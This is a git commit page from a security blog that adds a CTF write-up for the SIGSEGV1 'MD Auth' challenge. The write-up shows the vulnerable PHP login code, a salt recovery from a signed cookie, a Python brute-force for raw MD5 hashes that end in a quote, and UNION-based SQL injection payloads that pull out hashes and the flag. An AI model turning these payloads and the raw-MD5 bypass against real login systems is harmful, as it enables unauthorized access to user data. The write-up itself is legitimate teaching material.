SIGSEGV - MD Auth

pull/1/head
Swissky 2018-12-24 12:16:47 +01:00
parent ae7a129bdb
commit 14032aa48e
36 changed files with 137 additions and 0 deletions

0
.gitignore vendored Normal file → Executable file
View File

0
404.md Normal file → Executable file
View File

0
CNAME Normal file → Executable file
View File

0
LICENSE Normal file → Executable file
View File

0
_config.yml Normal file → Executable file
View File

0
_includes/analytics.html Normal file → Executable file
View File

0
_includes/disqus.html Normal file → Executable file
View File

0
_includes/meta.html Normal file → Executable file
View File

0
_includes/share-pages.html Normal file → Executable file
View File

0
_includes/svg-icons.html Normal file → Executable file
View File

0
_layouts/default.html Normal file → Executable file
View File

0
_layouts/page.html Normal file → Executable file
View File

0
_layouts/post.html Normal file → Executable file
View File

0
_posts/2017-11-4-Hello-World.md Normal file → Executable file
View File

0
_posts/2017-11-7-ECW-CTF.md Normal file → Executable file
View File

0
_posts/2017-11-8-FrenchCroissant.md Normal file → Executable file
View File

0
_posts/2018-1-18-WhidInjector.md Normal file → Executable file
View File

View File

@ -0,0 +1,137 @@
---
layout: post
title: SIGSEGV1 Writeup - MD Auth
---
Let's talk about the "MD Auth" challenge, I admit I started with this challenge thinking it would be about "Markdown"/
I was wrong but it was nonetheless interesting to solve.
The source code of the index was available by requesting : http://finale-docker.rtfm.re:4444/?source
{% highlight php%}
```php
<?php
$_TITLE = 'MD Auth';
$_LONGTITLE = 'MD Auth';
$con = new SQLite3('mdauth.db');
require 'config.php'; # 7-digit APP_SALT, MAX_ERRORS and check_errors()
if(isset($_POST['login'], $_POST['password'])) {
$errors = isset($_COOKIE['signed_errors']) ? check_errors($_COOKIE['signed_errors']) : 0;
if($errors >= MAX_ERRORS) {
presult('You have been banned for reaching '.MAX_ERRORS.' errors');
} else {
$login = $con->escapeString($_POST['login']);
$hash = md5($con->escapeString(APP_SALT.$_POST['password']), true);
$query = $con->query("SELECT login FROM users WHERE hash='{$hash}' and login='{$login}'");
if(!$query) $row=FALSE;
else $row = $query->fetchArray();
if($row !== FALSE&& $query->fetchArray() === FALSE) {
presult("Welcome back {$row['login']}!");
} else {
presult('Wrong username/password combination!');
setcookie('signed_errors', md5(APP_SALT.((string) ($errors+1))), time()+86400);
}
}
```
{% endhighlight %}
At first I tried to access the database with my browser by requesting finale-docker.rtfm.re:4444/mdauth.db, unfortunately that didn't work. Let's dig deeper into the source code. We want to authenticate on the Web Application, maybe we can do an SQL injection inside the following query.
{% highlight sql%}
```sql
SELECT login FROM users WHERE hash='{$hash}' and login='{$login}'
```
{% endhighlight %}
In order to exploit this, we need to bypass the `escapeString` function used for `$login` and `$hash`.
{% highlight php%}
```php
$login = $con->escapeString($_POST['login']);
$hash = md5($con->escapeString(APP_SALT.$_POST['password']), true);
```
{% endhighlight %}
The `md5` function is called with the second argument set to `true`, meaning we will get a binary output instead of a hexadecimal one. We might be able to get a backslash in the binary output, but we need to know the `APP_SALT` value in order to do our offline bruteforce. The author of the challenge was kind enough to provide a way to get this secret by misusing the `cookie`.
{% highlight php%}
```php
setcookie('signed_errors', md5(APP_SALT.((string) ($errors+1))), time()+86400);
```
{% endhighlight %}
We can do a single failed attempt in order to get a cookie containing the md5(SALT+"1"), based on the comment in the code we know the SALT is between 0000000-9999999 (7-digit APP_SALT).
I got `MD5:4322dfb1e9b20645594e9f3f6998845a` which correspond to the following `PLAIN:86203711`. We now have our APP_SALT value : 8620371. The following script will bruteforce the first 1000 numbers looking for a quote in the last char of the MD5 output.
{% highlight python%}
```python
import requests
import hashlib
# md5 true : http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes
def computeMD5hash(my_string):
m = hashlib.md5()
m.update(my_string.encode('utf-8'))
return m.digest()
# Use the salt to find a string ending by "\"
salt = "8620371"
for i in range(1000):
md5 = computeMD5hash(salt+str(i))
if "\\" == md5[-1]:
print(salt+str(i), i, md5)
```
{% endhighlight %}
In my first attempt, I was looking for a backslash "\" in order to escape the single quote "'" from the query and use the login to complete the SQL injection.
{% highlight sql%}
```sql
SELECT login FROM users WHERE hash='{$hash}' and login='{$login}'
SELECT login FROM users WHERE hash='GARBAGE\' and login=' OR 1=1--'
```
{% endhighlight %}
It would have worked in a MySQL database, unfortunately we were in front of a SQLite one. The documentation and stackoverflow provided the useful information, escaping is done by doubling the quote.
{% highlight sql%}
```sql
INSERT INTO table_name (field1, field2) VALUES (123, 'Hello there''s');
```
{% endhighlight %}
I adjusted the script to check for a single quote and got the number `45`.
{% highlight python%}
```python
salt = "8620371"
for i in range(1000):
md5 = computeMD5hash(salt+str(i))
if "'" == md5[-1]:
print(salt+str(i), i, md5)
```
{% endhighlight %}
Now it's just a simple SQL injection, by using the following credential i was able to extract interesting data.
{% highlight sql%}
```sql
login = "union all select hash from users limit 1--"
password = "45"
The query looked like "SELECT login FROM users WHERE hash='GARBAGE'' and login=' union all select hash from users limit 1--'"
with hash='GARBAGE'' and login='
```
{% endhighlight %}
I got the following users : `admin` and `flaggy`. Next step was to extract the flag from the database, it was located in the flag_field of the users.
{% highlight bash%}
```php
union all select flag_field from users limit 2,1--
Welcome back sigsegv{82e9f4a155b9b740b4ff37624429b031}!
```
{% endhighlight %}

0
_posts/2018-8-14-An-XSS-Story.md Normal file → Executable file
View File

0
_sass/_highlights.scss Normal file → Executable file
View File

0
_sass/_reset.scss Normal file → Executable file
View File

0
_sass/_share-pages.scss Normal file → Executable file
View File

0
_sass/_svg-icons.scss Normal file → Executable file
View File

0
_sass/_variables.scss Normal file → Executable file
View File

0
about.md Normal file → Executable file
View File

0
favicon.ico Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 1.4 KiB

After

Width:  |  Height:  |  Size: 1.4 KiB

0
images/404.jpg Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 54 KiB

After

Width:  |  Height:  |  Size: 54 KiB

0
images/config.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 38 KiB

After

Width:  |  Height:  |  Size: 38 KiB

0
images/first-post.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 31 KiB

0
images/jekyll-logo.png Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 7.1 KiB

After

Width:  |  Height:  |  Size: 7.1 KiB

0
images/jekyll-now-theme-screenshot.jpg Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 134 KiB

After

Width:  |  Height:  |  Size: 134 KiB

0
images/security-password-postit.jpg Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 8.6 KiB

After

Width:  |  Height:  |  Size: 8.6 KiB

0
images/step1.gif Normal file → Executable file
View File

Before

Width:  |  Height:  |  Size: 954 KiB

After

Width:  |  Height:  |  Size: 954 KiB

0
index.html Normal file → Executable file
View File

0
style.scss Normal file → Executable file
View File

0
takeover.html Normal file → Executable file
View File